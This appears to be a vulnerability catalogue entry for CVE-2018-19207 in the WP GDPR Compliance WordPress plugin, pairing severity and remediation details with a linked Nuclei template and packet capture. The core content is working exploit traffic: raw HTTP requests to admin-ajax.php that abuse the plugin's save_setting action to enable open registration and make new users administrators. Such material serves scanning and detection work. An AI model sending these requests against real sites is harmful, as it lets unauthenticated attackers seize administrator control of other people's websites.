| Title | WP GDPR Compliance < 1.4.3 - Unauthenticated Call Any Action or Update Any Option |
|---|---|
| Author | iamnoooob,pdresearch |
| Severity | Critical |
| Impact | Unauthenticated attackers can execute any action and update any database value, potentially creating admin accounts, modifying site configuration, or achieving remote code execution. |
| Remediation | Upgrade to WP GDPR Compliance version 1.4.3 or later, or remove the plugin if no longer needed. |
| CVSS Score | 9.8 |
| EPSS Score | 0.91939 |
| CVE ID | CVE-2018-19207 |
| CWE ID | CWE-425 |
| Tags | cve cve2018 wordpress wp-plugin wp-gdpr-compliance rce vkev vuln |
The WP GDPR Compliance plugin allows unauthenticated users to execute any action and update any database value. This vulnerability is due to the lack of proper validation in the Includes/Ajax.php file.
GET / HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.1 Safari/605.1.15
Connection: close
Accept-Encoding: gzip
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (X11; Linux i686; rv:1.9.5.20) Gecko/ Firefox/3.6.6
Connection: close
Content-Length: 131
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=wpgdprc_process_action&security=i0KtYK&data={"type":"save_setting","append":false,"option":"users_can_register","value":"1"}
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Fedora; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36
Connection: close
Content-Length: 137
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip
action=wpgdprc_process_action&security=i0KtYK&data={"type":"save_setting","append":false,"option":"default_role","value":"administrator"}
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2018/CVE-2018-19207.yaml
🦈 Packet Capture: ⬇️ Download cve-2018-19207.pcap
N/AN/A